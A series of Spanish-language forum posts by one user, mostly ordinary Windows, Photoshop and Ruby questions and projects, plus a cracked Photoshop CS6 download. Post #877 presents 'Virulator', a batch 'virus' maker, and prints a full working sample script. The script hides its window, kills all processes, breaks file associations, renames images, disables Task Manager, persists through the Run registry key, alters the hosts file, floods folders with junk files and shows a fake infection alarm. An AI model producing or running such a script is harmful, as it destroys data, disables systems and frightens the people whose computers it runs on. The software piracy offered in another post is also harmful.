EDITO 2: Ya lo he solucionado usando SoundForge y sin problemas
#875
Hola,

Llevo bastante tiempo dandole vueltas al tema... Pero no me aclaro con Gmail.

La cosa es que tengo mi cuenta gmail, y en las opciones de gmail ya he configurado una cuenta de correo alternativa de Hotmail.

Ahora, Yo estoy suscrito a varios canales de Youtube, Donde los emails me los mandan a la cuenta de Gmail.

¿¿¿Como hago para que me los envien (Solamente a ser posible...) a la cuenta de Hotmail???

PD: Que coñazo de youtube con la obligación de tener un Gmail...

Gracias...
#876
(TODOS LOS ENLACES RESUBIDOS: 14/06/2012)

Hola,
Aquí teneis mi colección personal de aplicaciones PARA WINDOWS 7 x64...

#877
Scripting / [Batch] Virulator 1.0c
13 Junio 2012, 12:04 PM
VIRULATOR



By Elektro H@cker




Virulator es un creador de "virus" para los amantes de Batch.

Pueden crear un "virus" dañino, O un simple archivo para gastar una broma pesada (O no tán pesada).

Virulator tiene multitud de opciones y tareas variadas para añadirle a tu bomba, Además, En cada tarea hay la posibilidad de añadir tareas preconfiguradas (Y algunas son bastante divertidas xD)...
PD: No se pierdan la idea que se me ocurrió para "Que no pare de correr el reloj de windows!", Es mi tarea favorita XD, Pruebenlo, Eso deja loco a cualquiera y no es dañino :).



- SCREENSHOTS:


















- También dispone de una opción para visualizar el historial de tareas, Para no perder de vista lo que vamos añadiendo...





- Esto es un ejemplo de un script generado con unas cuantas tareas de Virulator:

Código (dos) [Seleccionar]
@Echo OFF
Title sdsdsd

:: Virus creado con [Virulator 1.0]
:: By Elektro H@cker
:: No me hago repsonsable del uso de este archivo.

If not exist "%TEMP%\invisible.vbs" (Echo CreateObject("Wscript.Shell"^).Run """" ^& WScript.Arguments(0^) ^& """", 0, False>"C:\Users\ADMINI~1\AppData\Local\Temp\invisible.vbs" & wscript "%TEMP%\invisible.vbs" %0) Else (Exit)


REM Matar proceso "explorer.exe"
Taskkill /F /IM "explorer.exe" >NUL 2>&1


REM Matar todos los procesos activos del sistema
For /F "Tokens=4 delims=<>" %%X in ('wmic process get name /Format:xml ^| SORT ^| find /I ".exe" ^| Find /V /I "Taskkill" ^| Find /V /I "sort" ^| Find /V /I "cmd" ^| Find /V /I "csrss" ^| Find /V /I "conhost"') Do (Taskkill /F /T /IM "%%X" >NUL 2>&1)


REM Programar el apagado del PC en 60 segundos
Shutdown /R /T 60 /C "Soy Windows y me caes mal! No me vuelvas a encender, Noob..." /F >NUL


REM Da¤ar las extensiones de archivos de imagen
ASSOC .ani=regfile >NUL 2>&1
ASSOC .bmp=regfile >NUL 2>&1
ASSOC .cur=regfile >NUL 2>&1
ASSOC .gif=regfile >NUL 2>&1
ASSOC .ico=regfile >NUL 2>&1
ASSOC .img=regfile >NUL 2>&1
ASSOC .jpe=regfile >NUL 2>&1
ASSOC .jpg=regfile >NUL 2>&1
ASSOC .jpeg=regfile >NUL 2>&1
ASSOC .pcd=regfile >NUL 2>&1
ASSOC .png=regfile >NUL 2>&1
ASSOC .psd=regfile >NUL 2>&1
ASSOC .tga=regfile >NUL 2>&1
ASSOC .tif=regfile >NUL 2>&1
ASSOC .tiff=regfile >NUL 2>&1


REM Abrir multi instancia "notepad.exe"
Echo @echo off>>"%TEMP%\%~n0_720826398.bat"
Echo :Instance>>"%TEMP%\%~n0_720826398.bat"
Echo Start /B CMD /C "notepad.exe">>"%TEMP%\%~n0_720826398.bat"
Echo Goto :Instance>>"%TEMP%\%~n0_720826398.bat"
Start /B CMD /C "%TEMP%\%~n0_720826398.bat"


REM Mostrar mensaje "Te voy a joder el PC, Lammer!"
Echo X=msgbox("Te voy a joder el PC, Lammer!", 16,"Virus creado por Elektro H@cker")>"%TEMP%\virulator.vbs"
Start /B Wscript "%TEMP%\virulator.vbs"


REM Bloquear pagina web "google.com"
takeown /F "%windir%\System32\drivers\etc\hosts" >nul 2>&1
icacls "%windir%\System32\drivers\etc\hosts" /grant "%username%":F /T >nul 2>&1
Echo 127.0.1.1 google.com>>"%windir%\System32\drivers\etc\hosts"
Echo 127.0.1.1 www.google.com>>"%windir%\System32\drivers\etc\hosts"


REM Bucle infinito
Echo @echo off>>"%TEMP%\%~n0_2514423018.bat"
Echo :Bucle>>"%TEMP%\%~n0_2514423018.bat"
Echo Echo bucleeeeeeeee >>"%TEMP%\%~n0_2514423018.bat"
Echo Goto :Bucle>>"%TEMP%\%~n0_2514423018.bat"
Start CMD /K "%TEMP%\%~n0_2514423018.bat"


REM Ejecutar el virus al inicio del sistema "WindowsMachineSubProcess"
Copy /Y %0 "%WINDIR%\" >NUL 2>&1
Reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1  


REM Modificar fecha de Windows (Bucle infinito secuencial)
Echo :DateUP >"%TEMP%\DateUP.bat"
Echo For /L %%%%a in (2000,1,2099) Do ( >>"%TEMP%\DateUP.bat"
Echo For /L %%%%b in (1,1,12) Do ( >>"%TEMP%\DateUP.bat"
Echo For /L %%%%c in (1,1,31) Do ( >>"%TEMP%\DateUP.bat"
Echo Echo %%%%c/%%%%b/%%%%a ^| Date ^>NUL >>"%TEMP%\DateUP.bat"
Echo ping -n 1 localhost >>"%TEMP%\DateUP.bat"
Echo ) >>"%TEMP%\DateUP.bat"
Echo ) >>"%TEMP%\DateUP.bat"
Echo ) >>"%TEMP%\DateUP.bat"
Echo Goto :DateUP >>"%TEMP%\DateUP.bat"
Start /B Wscript "%TEMP%\Invisible.vbs" "%TEMP%\DateUP.bat"


REM Modificar hora de Windows (Bucle infinito secuencial)
Echo :TimeUP >"%TEMP%\TimeUP.bat"
Echo For /L %%%%a in (0,1,23) Do ( >>"%TEMP%\TimeUP.bat"
Echo For /L %%%%b in (0,1,59) Do ( >>"%TEMP%\TimeUP.bat"
Echo Time %%%%a:%%%%b >>"%TEMP%\TimeUP.bat"
Echo ping -n 1 localhost >>"%TEMP%\TimeUP.bat"
Echo ) >>"%TEMP%\TimeUP.bat"
Echo ) >>"%TEMP%\TimeUP.bat"
Echo Goto :TimeUP >>"%TEMP%\TimeUP.bat"
Start /B Wscript "%TEMP%\Invisible.vbs" "%TEMP%\TimeUP.bat"


REM Modificar el nombre del Boot de inicio "Disco C: Infectado"
label Disco C: Infectado>nul


REM Renombrar extension ".jpg" a ".txt"
FOR /R "%homedrive%\" %%X in (*.jpg) DO (Rename "%%X" "%%~nX.txt" >NUL 2>&1)


REM Hibernar el PC
RunDll32.exe powrprof.dll,SetSuspendState


REM Deshabilitar el administrador de tareas (TASKMGR.EXE)
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul


REM Intercambiar los botones del mouse
Rundll32 User32.dll,SwapMouseButton


REM Fake-Virus 1 "Fake25917820"
(
echo @echo off
echo color 47
echo net stop themes 2^>nul
echo title INFECCION VIRAL PROFUNDA!
echo echo INFECCION VIRAL!!!
echo echo ERROR!!!
echo ECHO+
echo echo -
echo echo virus - TROJAN_DEMOLISHER code #45643676
echo echo -
echo PING -n 4 LOCALHOST ^>nul
echo echo FIREWALL - FALLO
echo echo -
echo PING -n 2 LOCALHOST ^>nul
echo echo ANTI-VIRUS - FALLO
echo echo -
echo PING -n 2 LOCALHOST ^>nul
echo echo DIRECCION IP - RECHAZADA
echo echo -
echo PING -n 2 LOCALHOST ^>nul
echo echo FIRMA VIRAL: ****-****-****-8894
echo echo -
echo PING -n 3 LOCALHOST ^>nul
echo cls
echo echo -
echo echo ESCANEANDO AREAS INFECTADAS...
echo echo -
echo PING -n 3 LOCALHOST ^>nul
echo set /a num=0
echo :repeat1
echo set /a num=%%num%%+1
echo echo %%num%%
echo if %%num%%==100 goto end
echo goto repeat1
echo :end
echo PING -n 1 LOCALHOST ^>nul
echo cls
echo echo -
echo echo 86.5%%%% DE MEMORIA FISICA ESTA INFECTADA
echo echo -
echo echo INFECCION FATAL!
echo PING -n 3 LOCALHOST ^>nul
echo echo -
echo ECHO LA ELIMINACION DEL DISCO INFECTADO ES NECESARIA
echo PING -n 3 LOCALHOST ^>nul
echo cls
echo echo -
echo echo ELIMINANDO PARCIALMENTE EL DISCO INFECTADO [C:]
echo echo -
echo echo PORFAVOR NO APAGUE EL SISTEMA
echo echo -
echo PING -n 4 LOCALHOST ^>nul
echo dir /b /s %%WINDIR%%\ ^| FIND /v /i "WINSXS" ^| FIND /v /i "assembly" ^| FIND /v /i "syswow64" ^| FIND /v /i "servicing"
echo cls
echo echo -
echo echo CONTENIDO DEL DISCO INFECTADO [C:] - ELIMINADO
echo echo -
echo PING -n 3 LOCALHOST ^>nul
echo cls
echo echo -
echo echo ESCANEANDO...
echo echo -
echo PING -n 2 LOCALHOST ^>nul
echo set /a num1=0
echo :repeat2
echo set /a num1=%%num1%% +1
echo echo %%num1%%
echo if %%num1%%==100 goto end1
echo goto repeat2
echo :end1
echo cls
echo PING -n 2 LOCALHOST ^>nul
echo echo -
echo echo 98.00%%%% DE MEMORIA FISICA HA SIDO DESINFECTADA
echo echo -
echo PING -n 3 LOCALHOST ^>nul
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo echo ERROR
echo PING -n 3 LOCALHOST ^>nul
echo cls
echo title FALLO EN EL SISTEMA
echo color 17
echo echo ERROR!
echo PING -n 2 LOCALHOST ^>nul
echo echo -
echo echo MEMORIA VIRTUAL PERDIDA!
echo PING -n 2 LOCALHOST ^>nul
echo echo -
echo echo MEMORIA FISICA SOBRECALENTADA!
echo PING -n 2 LOCALHOST ^>nul
echo echo -
echo echo PROCESADOR SOBRECALENTANDOSE!
echo PING -n 2 LOCALHOST ^>nul
echo echo -
echo ECHO LA RUPTURA TOTAL DEL SISTEMA ES INMINENTE!
echo echo -
echo PING -n 4 LOCALHOST ^>nul
echo echo -
echo echo -
echo echo -
echo echo -
echo ECHO RIESGO DE FUEGO ENCONTRADO!
echo ECHO APAGANDO EL SISTEMA PARA EVITAR PERDIDA DE DATOS
echo echo -
echo echo -
echo echo -
echo echo -
echo shutdown /R /T 60 /C "Windows ha encontrado una amenaza de virus y debe reiniciarse. Guarde todo su trabajo ahora." /F
echo PING -n 8 LOCALHOST ^>nul
echo Exit
)>%TEMP%\Fake25917820.bat
Start CMD /K %TEMP%\Fake25917820.bat


REM Propagar 100 archicos en cada carpeta del disco duro (PRECONFIGURADO)
(
echo @echo off
echo setlocal enabledelayedexpansion
echo Set File=0
echo For /F "Tokens=*" %%%%X in ('Dir /B /S /AD "%%systemdrive%%" ^| Find /V /I "Windows" ^| Find /V /I "$Recycle.Bin"'^) do (Call :COPY %%%%X^)
echo Exit
echo :Copy
echo Fsutil file createnew "%%*\%%Random%%%%Random%%%%Random%%%%Random%%%%Random%%" 1 ^>NUL 2^>^&1
echo Set /A File+=1
echo If !FILE! EQU 100 (Set /A File=0^& Goto :EOF^) ELSE (Call :COPY %%*^)
)>%TEMP%\basura.bat
Start /B %TEMP%\basura.bat




- Y por último, Aquí tienen el script:
Versión 1.0C
http://pastebin.com/raw.php?i=vqUN1g3p


(CASI)Todas las tareas han sido testeadas en Windows 7, Es muy posible que muchas tareas no funcionen en versiones anteriores de Windows (Y no tengo pensado ""dar soporte"" a esas versiones).

Opinen lo que quieran... Que a mi ya no se me ocurre que más tareas añadir :laugh:.

PD: Si encuentran algún fallo/mejora/idea reportenlo aquí para corregirlo/añadirlo porfavor  ;D.
Gracias.


Espero que os guste aunque séa un poco y lo disfruteis!
Salu2.
#878
Hola, se supone que en la versión 3 de NOD32 se puede importar un archivo previamente exportado desde el programa, Desde la consola de Windows. (Se supone).

Bueno pues yo uso la versión 5 de NOD32, Y me gustaría preguntaros si conoceis la forma de hacer esto, Desde la consola, U otra manera que no séa abriendo el programa manualmente, Ya que necesito automatizar esta tarea.
PD: Lo he intentado con un archivo de registro (Primero instalar NOD y luego importar el archivo de registro) Pero los cambios nunca se guardan debido a que a NOD no le gusta que le toquen sus claves de registro xD.

Gracias.

Dejo esto por si alguien no me ha entendido bien lo que pretendo importar:



Configuracion.xml
Código (xml) [Seleccionar]
<?xml version="1.0" encoding="utf-8"?>
<ESET>
<SECTION ID="1000103">
 <SETTINGS>
  <SCANNERS>
   <SCANNER ID="1010100">
    <PROFILES>
     <NODE NAME="Enable" VALUE="1" TYPE="DWORD" />
     <NODE NAME="Active" VALUE="@Smart scan" TYPE="STRING" />
     <NODE NAME="@In-depth scan" TYPE="SUBNODE">
      <NODE NAME="SignaturesEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="HeuristicsEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="AdvancedHeuristicsEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="AdwareEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="UnwantedEnable" VALUE="0" TYPE="DWORD" />
      <NODE NAME="UnsafeEnable" VALUE="0" TYPE="DWORD" />
      <NODE NAME="CloudEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="FileEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="SectorEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="ArchiveEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="SfxEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="RtpEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="MailEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="MemoryEnable" VALUE="1" TYPE="DWORD" />
      <NODE NAME="MaxArchiveLevel" VALUE="0" TYPE="DWORD" />
      <NODE NAME="MaxScanFileSize" VALUE="0" TYPE="DWORD" />
      <NODE NAME="MaxTempFileSize" VALUE="0" TYPE="DWORD" />
      <NODE NAME="ScanObjectTimeout" VALUE="0" TYPE="DWORD" />
      <NODE NAME="CleanLevel" VALUE="0" TYPE="DWORD" />
      <NODE NAME="LogAllEnable" VALUE="0" TYPE="DWORD" />
      <NODE NAME="SmartEnable" VALUE="0" TYPE="DWORD" />
      <NODE NAME="Extensions" TYPE="SUBNODE">
       <NODE NAME="AddExtensions" VALUE="|*|" TYPE="STRING" />
       <NODE NAME="RemoveExtensions" VALUE="" TYPE="STRING" />
       <NODE NAME="ExcludeExtensions" VALUE="" TYPE="STRING" />
      </NODE>
     </NODE>

... más código abajo...

#879


Photoshop CS6 x64 (v13.0)
Por Elektro H@cker








Características:

  • Solamente compatible con 64 Bit (x64)
  • Instalador Portable y Modo silencioso
  • Producto Activado
  • Totalmente en Castellano
  • Pack de degradados y pack de colores integrado (En total solo pesan 4 MB extra)
  • Testeado en mi PC y en Virtualbox (En una instalación limpia de Win7 HomePremium SP1 x64)
  • Instalar y a disfrutar!

    :)




    Complementos eliminados:


  • Otros idiomas menos Inglés y Castellano
  • Adobe Bridge CS
  • Adobe extension manager
  • Adobe extendedscript toolkit
  • Adobe fonts recommended
  • Perfiles de cámaras
  • Plugin: AdobeHunspellPlugin
  • Plugin: WRLiloPlugin1.3
  • ...
  • Soporte para edición de video
  • Fuentes .OTF adicionales
  • Linguistics
  • dynamiclinkmediaserver
  • Gráficos del OOBE

    :)




    Notas:

    - El instalador pesa 256 165 MB.

    - Para instalar en modo silencioso se hace con el parámetro "/silent", En consola:
    Código (dos) [Seleccionar]
    "Photoshop CS 6.exe" /silent

    - Si tienes problemas para usar Photoshop CS6, Instala las librerías "Microsoft Visual C++ 2008/2010". Photoshop los instala por defecto, Aunque yo no los he necesitado en VirtualBox.




    IMAGENES:

       






    DESCARGA (Instalador optimizado :P, Menos peso.):

    Descargate las dos partes y descomprimelas con WinRAR.

    Parte 1: http://www.directmirror.com/files/17FRDGZU
    Parte 2: http://www.directmirror.com/files/1DUF77NR
#880
Hola, mi pregunta es sencilla, Tengo un pack de estilos de photoshop cs5, en formato .psp, "archivo.psp", Ok el photoshop cs6 no me reconoce el archivo, pero bueno le he cambiado la extensión a "archivo.asl" y me dice que no se puede importar porque el archivo no es compatible con esta versión de photoshop...

¿Puedo hacer algo para recuperar mis estilos? Algun programa que convierta packs exportados desde el CS5 en formato .PSP (de gradiantes, texturas, pinceles, estilos...) para poder importarlos al CS 6?

Saludos y gracias...

EDITO: Ya lo he conseguido, Era en esta carpeta: "...\AppData\Roaming\Adobe\Adobe Photoshop CS6\Adobe Photoshop CS6 Settings" :P
#881
Hola,

Esto es un proyecto que por tiempo y esfuerzo no creo que vaya a finalizar... Espero que alguien pueda hacerlo por mi, O hecharme una mano , ¿Como? Pues agregando estilos de letras (Con sus respectivas posiciones ya puestas en el code...), Enviandomelas por mp, No se, O que me tome el relevo si a alguien le parece un proyecto interesante...

De momento solo hay 10(Y medio) estilos de letras incluidos, En la versión sin GUI. Y la idea es sobrepasar los 50 estilos, Pero he necesitado muchas horas para incluir solamente 10 estilos, Buf!.
Me da mucha pena, Porque la versión con GUI de TK quedaría genial, Pero no tengo los suficientes conocimientos sobre TK para poder hacer el code correctamente...

La página de donde saco los estilos de letra es esta:
http://patorjk.com/software/taag/

Y aquí hay bastantes también:
http://www.network-science.de/ascii/

Si, Ya, Muchos pensarán que se puede hacer por web (Desde el script), Pero y que pasa cuando esas webs se mueran??? Jeje quise recopilarlo en un programa, Que nunca muere :).

Bueno, Eso es todo... Haced lo que os de la gana con estos codes xD.

Gracias y saludos!.
Elektro H.




La versión TK (No tiene ningun estilo agregado por el momento...) Solo es para probar el diseño.



Código (ruby) [Seleccionar]
require 'tk'
require 'tkextlib/tile'

root = TkRoot.new {title "Art ASCII Factory Test"}

Tk::Tile::Label.new(root) {padding "0 0 1 10"}.grid( :sticky => 'nsew')

Tk::Tile::Entry.new(root) {width 30}.grid( :column => 0, :row => 0, :sticky => 'w' )

Tk::Tile::Button.new(root) {text "ASCIIZE"; command "submitForm"}.grid( :column => 1, :row => 0, :sticky => 'wn' )

$names = %w{ estilo1 estilo2 estilo3 }
$colornames = TkVariable.new($names)

list = TkListbox.new(root) do
 listvariable $colornames
 pack('fill' => 'x')
end

list.place('height' => 150,
          'width'  => 100,
          'x'      => 10,
          'y'      => 100)

scroll = TkScrollbar.new(root) do
   orient 'vertical'
   place('height' => 150, 'x' => 110, 'y' => 100)
end

list.yscrollcommand(proc { |*args|
 scroll.set(*args)
})

scroll.command(proc { |*args|
 list.yview(*args)
})

text = TkText.new(root) do
 width 100
 height 30
 borderwidth 1
 font TkFont.new("family" => 'Lucida Console', "size" => 10)
  pack("side" => "right",  "padx"=> "5", "pady"=> "5")
  grid( :column => 1, :row => 1, :sticky => 'en' )
end

text.insert 'end', "
######## ########  ######  ########
  ##    ##       ##    ##    ##    
  ##    ##       ##          ##    
  ##    ######    ######     ##    
  ##    ##             ##    ##    
  ##    ##       ##    ##    ##    
  ##    ########  ######     ##    
"

Tk.mainloop





La versión sin gui



El script entero aquí: http://pastebin.com/MVnhRi2a


(En este post no cabe el script entero, esto es solo un poco de lo que contiene el script)
Código (ruby) [Seleccionar]

# ... más código arriba
# encoding:utf-8

system('mode con cols=190 lines=30')

threexfive = '
   #         #      ##     #    #   #  #    #                               #                           #  ##   ## ##  ### ###  ## # # ###  ## # # #   # # ###  #  ##   #  ##   ## ### # # # # # # # # # # ###   # #                            #   ## ##   ## ##    #      #  # #  ## # #  #    #   # #       ### #    #  ### # #   # #    #  ###  #  ### ### # # ### ### ### ### ###
## ### ### ### ###  #  ### ###         # #  #  ### ##  ### ### ### ###  ## ### # # # # # # # # # # ##  # # # # #   # # #   #   #   # #  #    # # # #   ### # # # # # # # # # # #    #  # # # # # # # # # #   #  #   #   #       #              # #  #   #   #   #   #   #   #  # # ##    # #     #  #   #  ###   # #    #  # # ### ###  #  ### # # ##    #   # # # #   #     # # # # #
# # # # #   # # ##  ### # # # #  #   #  ##   #  ### # # # # # # # # #    #   #  # # # # ###  #  ###  #  ### ##  #   # # ##  ##  # # ###  #    # ##  #   ### # # # # ##  # # ##   #   #  # # # # ###  #   #   #  #     #                 ###          #   #  ##   ## #   ###  #      ###  #   ##  #   #   #       ##  #   #  #   # # #     #  #  # #  #  ###  ## ### ### ###   # ### ###
### ### ### ### ###  #   ## # #  ##  #  # #  ## # # # # ### ### ### #   ##   ## ###  #  ### # #   #  ## # # # # #   # # #   #   # # # #  #  # # # # #   # # # # # # #    ## # #   #  #  # # # # ### # #  #  #    #   #   #   #   #                   #   #   #   #       #           ## #   # # #    #   #  ###       #  #  ### ###         ### # #  #  #     #   #   # # #   # # #   #
                   ##  ###         #                       #     #                             ###     # # ##   ## ##  ### #    ## # # ###  #  # # ### # # # #  #  #     # # # ##   #  ###  #  # # # #  #  ###   # #   #   #        #      ###      ## ##   ## ##           #      ##  # # ### #     # #        #    #  #      # #          #  ### ### ### ###   # ### ###   # ### ###
'
threexfive_chars = {
 :' ' => ' ',
 :a => 0..3, :b => 4..7, :c => 8..11, :d => 12..15, :e => 16..19, :f => 20..23, :g => 24..27, :h => 28..31, :i => 33..35, :j => 36..38, :k => 40..43, :l => 45..47, :m => 48..51, :n => 52..55, :o => 56..59, :p => 60..63, :q => 64..67, :r => 68..71, :s => 72..75, :t => 76..79, :u => 80..83, :v => 84..87, :w => 88..91, :x => 92..95, :y => 96..99, :z => 100..103,
 :A => 104..107, :B => 108..111, :C => 112..115, :D => 116..119, :E => 120..123, :F => 124..127, :G => 128..131, :H => 132..135, :I => 136..139, :J => 140..143, :K => 144..147, :L => 148..151, :M => 152..155, :N => 156..159, :O => 160..163, :P => 164..167, :Q => 168..171, :R => 172..175, :S => 176..179, :T => 180..183, :U => 184..187, :V => 188..191, :W => 192..195, :X => 196..199, :Y => 200..203, :Z => 204..207,
 :< => 208..211, :> => 212..215, :';' => 216..218, :',' => 220..222, :':' => 225..226, :'.' => 229..230, :- => 232..235, :_ => 236..239, :'^' => 240..243, :'[' => 245..247, :']' => 248..250, :'{' => 252..255, :'}' => 256..259, :'\'' => 260..261, :+ => 264..266, :'!' => 268..270, :'"' => 272..275, :'$' => 275..278, :% => 279..282, :& => 283..286, :/ => 287..290, :'(' => 293..294, :')' => 296..298, :'=' => 300..303, :'?' => 304..307, :'\\' => 308..311, :| => 313..314, :'@' => 316..319, :'#' => 320..323, :~ => 324..327, :` => 328..331, :* => 332..335,
 :'0' => 336..339, :'1' => 340..343, :'2' => 344..347, :'3' => 348..351, :'4' => 352..355, :'5' => 356..359, :'6' => 360..363, :'7' => 364..367, :'8' => 368..371, :'9' => 372..375

amcneko = "
                                                                                                                                                                                                                                                                                                                                                                                                 SSSSS .sSSSSs.    .sSSSSs.    SsSSs.    .sSSSSs.    .sSSSSSSs.  .sSSS s.    SSSSSSSSSs. .sSSSSs.    SSSSSSSSSs. .sSSSSs.    .sSSSSs.    
.sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSS SSSSS SSSSS       SSSSS .sSSS  SSSSS  SSSSS       .sSSSsSS SSsSSSSS .sSSSs.  SSSSS .sSSSSs.    .sSSSSs.    .sSSSSs.     .sSSSSSSSs. .sSSSSSSSs. .sSSSSSSSSSSSSSs. .sSSS s.    .sSSS s.    .sSSS       s.    .sSSS SSSSS .sSSS SSSSS SSSSSSSSSs.                         .sSs.       .sSs.               S SSS S SSSSSSSs. SSSSSSSSSs.   SSSSs   `SSSS SSSs. `SSSS SSSSs SSSSS SSSs. SSSSS SSSS' SSSSSSSSSs. SSSSSSSSSSS SSSSS SSSs. SSSSS SSSs.
S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSS SSSSS S SSS       S SSS S SSS SSSSS   S SSS       S SSS  SSS  SSSSS S SSS SS SSSSS S SSSSSSSs. S SSSSSSSs. S SSSSSSSs.  S SSS SSSSS S SSS SSSS' SSSSS S SSS SSSSS S SSS SSSs. S SSS SSSs. S SSS       SSSs. S SSS SSSSS S SSS SSSSS SSSSSS SSS'                         S%%%S       S%%%S               S  SS `..SS SSSSS S SSS SSSSS   S SSS         SSSSS       S SSS S SSS SSSSS S SSS       S SSS SSSS'      S SSS  S SSS SSSSS S SSS SSSSS
S  SS SSSSS S  SS SSSS' S  SS SSSS' S  SS SSSSS S  SS SSSS' S  SS SSSS' S  SS SSSS' S  SS SSSSS S  SS       S  SS S  SS SSSSS   S  SS       S  SS   S   SSSSS S  SS  `sSSSSS S  SS SSSSS S  SS SSSSS S  SS SSSSS  S  SS SSSS' S  SS       SSSSS S  SS SSSSS S  SS SSSSS S  SS SSSSS S  SS       SSSSS S  SS SSSSS S  SS SSSSS     S  SS    .sS               Ss.  `:;:'       `:;:'               S;;;S       SSSSS S  SS SSSSS   S  SS   .sSSSsSSSS'   .sS S  SS S  SS SSSSS SSSSSsSSSs. S  SS           S  SS   S  SS SSSSS S  SS SSSSS
S..SSsSSSSS S..SSsSSSa. S..SS       S..SS SSSSS S..SS       S..SS       S..SS       S..SSsSSSSS S..SS       S..SS S..SSsSSSSS   S..SS       S..SS       SSSSS S..SS    SSSSS S..SS SSSSS S..SS SSSSS S..SS SSSSS  S..SSsSSSa. `SSSSsSSSa. `:S:' S..SS `:S:' S..SS SSSSS S..SS SSSSS S..SS       SSSSS `..SSsSSSs' `..SSsSSSS'    S..SS    SSSSsssssss sssssssSSSS                         sssssss S%%%S    .ssSSSSS S..SS\\SSSSS   S..SS   S..SS        SSSSsS..SS S..SSsSSSSS       SSSSS S...SsSSSa.    S..SS    `..SSsSSSs' `..SSsSSSSS
S:::S SSSSS S:::S SSSSS S:::S SSSSS S:::S SSSSS S:::SSSS    S:::SSSS    S:::S`sSSs. S:::S SSSSS S:::S       S:::S S:::S SSSSS   S:::S       S:::S       SSSSS S:::S    SSSSS S:::S SSSSS S:::SsSSSSS S:::S SSSSS  S:::S SSSSS .sSSS SSSSS       S:::S       S:::S SSSSS  S::S SSSS  S:::S       SSSSS s:::S SSSSs    S:::S      S:::S      `:;               ;:'                                  SSSSS    SSSSS;:' S:::S SSSSS   S:::S   S:::S SSSs.   `:; S:::S       SSSSS .sSSS SSSSS S:::S SSSSS   S:::S     s:::S SSSSs       SSSSS
S;;;S SSSSS S;;;S SSSSS S;;;S SSSSS S;;;S SSSSS S;;;S       S;;;S       S;;;S SSSSS S;;;S SSSSS S;;;S       S;;;S S;;;S  SSSSS  S;;;S       S;;;S       SSSSS S;;;S    SSSSS S;;;S SSSSS S;;;S       S;;;S SSSSS  S;;;S SSSSS S;;;S SSSSS       S;;;S       S;;;S SSSSS   S;S SSS   S;;;S   S   SSSSS S;;;S SSSSS    S;;;S     S;;;S                              .sSs. .sSs. .sSs. .sSs.         .sSs.    .sSs.    S;;;S SSSSS   S;;;S   S;;;S SSSSS       S;;;S       SSSSS S;;;S SSSSS S;;;S SSSSS  S;;;S      S;;;S SSSSS .sSSS SSSSS
S%%%S SSSSS S%%%S SSSSS S%%%S SSSSS S%%%S SSSS' S%%%S SSSSS S%%%S       S%%%S SSSSS S%%%S SSSSS S%%%S SSSSS S%%%S S%%%S  SSSSS  S%%%S SSSSS S%%%S       SSSSS S%%%S    SSSSS S%%%S SSSSS S%%%S       S%%%S SSSSS  S%%%S SSSSS S%%%S SSSSS       S%%%S       S%%%S SSSSS    SS SS    S%%%S  SSS  SSSSS S%%%S SSSSS    S%%%S    S%%%SSSSSSS                         S%%%S S%%%S S%%%S S%%%S         S%%%S    S%%%S    S%%%S SSSSS   S%%%S   S%%%S SSSSS .SSSS S%%%S       SSSSS S%%%S SSSSS S%%%S SSSSS S%%%S       S%%%S SSSSS S%%%S SSSSS
SSSSS SSSSS SSSSSsSSSS' SSSSSsSSSSS SSSSSsS;:'  SSSSSsSS;:' SSSSS       SSSSSsSSSSS SSSSS SSSSS SSSSS `:;SSsSSSSS SSSSS   SSSSS SSSSSsSS;:' SSSSS       SSSSS SSSSS    SSSSS SSSSSsSSSSS SSSSS       SSSSSsSSSSss SSSSS SSSSS SSSSSsSSSSS       SSSSS       SSSSSsSSSSS     SsS     SSSSSsSS SSsSSSSS SSSSS SSSSS    SSSSS    SSSSSSSSSSS                         `\"\":5 `\"\":5 `:;:' `:;:'         `:;:'    `:;:'    `:;SSsSS;:' SsSSSSSsS SSSSSsSSSSS `:;SSsSSSSS       SSSSS `:;SSsSS;:' `:;SSsSS;:' SSSSS       `:;SSsSS;:' `:;SSsSS;:'
                                                                                                                                                                                                                                                                                                                                                                   ;:'   ;:'                                                                                                                                                            
"
amcneko_chars = {
 :' ' => ' ',
 :a => 0..11, :b => 12..23, :c => 24..35, :d => 36..47, :e => 48..59, :f => 60..71, :g => 72..83, :h => 84..95, :i => 96..101, :j => 102..113, :k => 114..127, :l => 128..140, :m => 140..157, :n => 158..172, :o => 173..184, :p => 185..196, :q => 197..209, :r => 210..221, :s => 222..234, :t => 235..251, :u => 252..263, :v => 264..275, :w => 276..293, :x => 294..305, :y => 306..317, :z => 318..329,
 :A => 0..11, :B => 12..23, :C => 24..35, :D => 36..47, :E => 48..59, :F => 60..71, :G => 72..83, :H => 84..95, :I => 96..101, :J => 102..113, :K => 114..127, :L => 128..140, :M => 140..157, :N => 158..172, :O => 173..184, :P => 185..196, :Q => 197..209, :R => 210..221, :S => 222..234, :T => 235..251, :U => 252..263, :V => 264..275, :W => 276..293, :X => 294..305, :Y => 306..317, :Z => 318..329,
